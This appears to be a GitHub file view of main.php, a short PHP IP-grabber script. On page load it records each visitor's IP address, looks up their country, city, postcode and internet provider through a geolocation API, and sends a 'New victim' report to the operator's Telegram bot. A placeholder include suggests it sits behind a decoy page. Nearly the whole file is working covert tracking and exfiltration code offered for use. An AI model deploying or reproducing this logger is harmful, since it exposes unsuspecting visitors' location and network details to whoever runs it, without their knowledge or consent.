-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.php
42 lines (32 loc) · 1.28 KB
/
main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function telegram($msg) {
global $telegrambot,$telegramchatid;
$url = 'https://api.telegram.org/bot'.$telegrambot.'/sendMessage';$data = array('chat_id'=>$telegramchatid,'text'=>$msg);
$options = array('http'=>array('method' => 'POST','header' => "Content-Type:application/x-www-form-urlencoded\r\n",'content' => http_build_query($data),),);
$context = stream_context_create($options);
$result = file_get_contents($url,false,$context);
return $result;
}
$telegrambot = 'bot-token';
$telegramchatid = id;
$ip = $_SERVER['REMOTE_ADDR'];
$ipapi = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"));
$datetime = date("g:ia, l F j Y"); // g:ia l F j Y l, F j, Y, g:ia
telegram("New victim:
IP : $ip
Operating system : replace in the sub comment
Browser : replace in the sub comment
Country : $ipapi->country ($ipapi->countryCode)
Region : $ipapi->regionName ($ipapi->region)
City : $ipapi->city
Zip (Postcode) : $ipapi->zip
Time : $datetime
Internet Provider : $ipapi->isp ($ipapi->org)
src : github.com/9xw
");
// Operating system $user_os
// Browser $user_browser
?>
<?php
<source>
?>